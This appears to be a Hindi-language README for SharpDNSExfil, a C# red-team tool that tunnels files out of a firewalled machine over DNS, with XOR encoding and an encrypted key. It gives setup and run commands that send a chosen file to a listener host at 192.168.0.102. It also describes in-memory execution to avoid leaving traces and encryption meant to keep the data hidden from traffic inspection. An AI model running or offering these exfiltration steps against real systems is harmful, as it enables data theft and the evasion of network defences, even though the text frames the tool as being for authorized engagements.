
DNS के माध्यम से XOR और असममित एन्क्रिप्शन का उपयोग करके फ़ाइलों को बाहर निकालने के लिए C# टूल, जो प्रतिबंधित आउटबाउंड कनेक्शन वाले रेड टीम अभियानों के लिए डिज़ाइन किया गया है।
SharpDNSExfil एक C# में लिखा गया एक्सफ़िल्ट्रेशन टूल है। मुख्य उद्देश्य किसी भी "ऑन डिस्क" फ़ाइल को प्रतिबंधित आउटबाउंड कनेक्शन की चिंता किए बिना एक्सफ़िल्ट्रेट करना है।
मुझे अपने एंगेजमेंट के दौरान ब्लाइंड RCE मिला और पता चला कि रिमोट मशीन में फ़ायरवॉल सुरक्षा है जो आउटबाउंड कनेक्शन की अनुमति नहीं देती और रिवर्स कनेक्शन प्राप्त करने में कठिनाई हुई। अच्छी बात यह थी कि DNS सर्वर सार्वजनिक डोमेन को रिज़ॉल्व कर सकता है और मुझे DNS के माध्यम से पहुंच सकता है। समस्या यह थी कि मैं फिर भी रिवर्स शेल प्राप्त नहीं कर सका, मैं कुछ छोटे आउटपुट पढ़ सकता था, लेकिन कोई फायदा नहीं। तो मुझे केवल DNS के माध्यम से प्रक्रिया को स्वचालित करने और सभी चरणों को दोहराने का विचार आया, और यह अंततः काम कर रहा है!
चेतावनी: पूरी प्रक्रिया केवल कस्टम सार्वजनिक DNS सर्वर के माध्यम से परीक्षण की गई है लेकिन वास्तविक कॉर्पोरेट वातावरण में पूरी तरह से परीक्षण नहीं किया गया है। इसलिए अपने जोखिम पर उपयोग करें!
सभी एक्सफ़िल्ट्रेटेड बाइट्स को यादृच्छिक रूप से उत्पन्न कुंजी के साथ XOR किया जाता है। आप सोच सकते हैं कि कुंजी फिर नेटवर्क स्तर पर सादे टेक्स्ट में होगी (वायरशार्क से पता चल जाएगा)। --encrypt विकल्प के साथ, यह वह जगह है जहां असममित एन्क्रिप्शन काम में आता है, एक हार्ड-कोडेड सार्वजनिक कुंजी XOR कुंजी को एन्क्रिप्ट करेगी। स्थानीय मशीन (आप) कुंजी के एन्क्रिप्टेड रूप की अपेक्षा करेगी, पायथन स्क्रिप्ट अपनी हार्ड-कोडेड निजी कुंजी से कुंजी को स्वचालित रूप से डिक्रिप्ट करेगी। शेष प्रेषित डेटा वापस अपने मूल बाइट्स में XOR हो जाएगा। इसलिए, कृपया हमेशा कुंजी जोड़े बदलें
| एन्क्रिप्शन से पहले | एन्क्रिप्शन के बाद |
|---|---|
![]() | ![]() |
dnsserver.py पायथन स्क्रिप्ट के साथ DNS सर्वर सेट करें। विकल्प इस प्रकार हैंpython3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
SharpDNSExfil के चरण और प्रक्रियाएं सभी मेमोरी में निष्पादित की जानी हैं बिना डिस्क को छुए ताकि एंगेजमेंट के दौरान कचरा न छूटे। SharpDNSExfil --verbose विकल्प के साथ पृष्ठभूमि में किए जाने वाले प्रत्येक चरण या प्रक्रिया के बारे में सूचित करेगा। प्रत्येक भेजे गए बाइट्स XOR एन्कोडेड होते हैं और कुंजी को नेटवर्क ट्रैफ़िक में सादे टेक्स्ट से बचने के लिए असममित एन्क्रिप्शन के साथ आगे एन्क्रिप्ट किया जाएगा। अतिरिक्त सावधानी बरतें और हमेशा नोट्स लें और ग्राहक की संपत्ति पर सफाई करें।